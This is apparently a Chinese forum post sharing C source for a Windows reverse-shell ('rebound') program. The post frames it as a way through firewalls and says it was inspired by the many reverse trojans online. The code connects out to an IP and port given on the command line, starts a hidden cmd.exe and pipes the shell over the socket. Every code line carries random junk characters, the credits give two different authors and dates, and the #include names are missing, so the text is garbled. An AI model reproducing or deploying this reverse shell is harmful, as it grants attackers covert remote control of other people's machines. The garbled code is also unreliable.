这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $=8?@My<
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/* ============================== 5b_[f(
Rebound port in Windows NT RVmD&
By wind,2006/7 v*Qr(4
===============================*/ i[b?W$]7
#include U@$Kp>X
#include gk+$CyjJ
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#pragma comment(lib,"wsock32.lib") *N"bn'>3
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void OutputShell(); P7n+@L$
SOCKET sClient; |qS<{WZ!h
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; y%CaaK=V3
zT|]!',
void main(int argc,char **argv) .'Vjs2 2
{ bdiyS.a-
WSADATA stWsaData; NJb5HoYZ
int nRet; "M*Pt
SOCKADDR_IN stSaiClient,stSaiServer; 8$!/Zg
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if(argc != 3) DiF=<} >x
{ `vJ+sRf
printf("Useage:\n\rRebound DestIP DestPort\n"); .^^YS$%%7
return; F{cKCqI?
} ]*+ozAG4
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WSAStartup(MAKEWORD(2,2),&stWsaData); W P1>)
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C%<[mM
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stSaiClient.sin_family = AF_INET; yi3@-
stSaiClient.sin_port = htons(0); 'z\K0
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); y: @[QhV
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) rt5UT~
{ /ey[cm2#[s
printf("Bind Socket Failed!\n"); Qci<cVgP
return; FJ3Xeos4|
} h3.wR]ut
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stSaiServer.sin_family = AF_INET; K /h9x9^
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); jp2AU,Cl
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 94L
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0(VQwGC[
{ *7hr3x
printf("Connect Error!"); T`46\KkN
return; Zg%SE'kK
} fG O.wb
OutputShell(); X%!#Ic]Q
} @9|sNS
i*j[j~2>C;
void OutputShell() vB, X)
{ hM2^[8
char szBuff[1024]; 'j];tO6GfC
SECURITY_ATTRIBUTES stSecurityAttributes; F9]j{'#
OSVERSIONINFO stOsversionInfo; Y7)YJI
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [#H$@g|CT
STARTUPINFO stStartupInfo; +x$;T*0
char *szShell; HUurDgRi]
PROCESS_INFORMATION stProcessInformation; @Nb&f<+gi
unsigned long lBytesRead; { hUbK+dKZ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9I/o;Js
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ulsr)Ik
stSecurityAttributes.lpSecurityDescriptor = 0; H@er" boi
stSecurityAttributes.bInheritHandle = TRUE; +O:Qw[BL/Z
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W&y%fd\&3
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); VA_\Z
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); LRD71*/
( B$;'U<
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); XiI@Px?FL
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0q"&AxNsP
stStartupInfo.wShowWindow = SW_HIDE; C,-q2ry
stStartupInfo.hStdInput = hReadPipe; uj_uj!
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; r?d601(fa
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GetVersionEx(&stOsversionInfo); NMY~f (x
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switch(stOsversionInfo.dwPlatformId) 39?iX'*p
{ T$13"?sr=
case 1: *nD yB.(
szShell = "command.com"; f+Nq?GvwBQ
break; CDei+ q
default: '6u;KIG
szShell = "cmd.exe"; I'G$: GX
break; o9~ Z! &p
} KcP86H52I
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); DGdSu6s$
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send(sClient,szMsg,77,0); zLuej'
while(1) @Y*ONnl
{ ihKnZcI$i
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); y1^<!I
if(lBytesRead) RH^8 "%\
{ VN|P(S6
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "y/GK1C
send(sClient,szBuff,lBytesRead,0); YVZm^@ZVV
} {$ 4fRxj
else 6w<jg/5t
{ NMmk,
lBytesRead=recv(sClient,szBuff,1024,0); _QfA'32S
if(lBytesRead<=0) break; Ph2jj,K
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k2N[B(&4J
} I(ds]E
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} Z6SM7?d
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return; 9f;\fe
}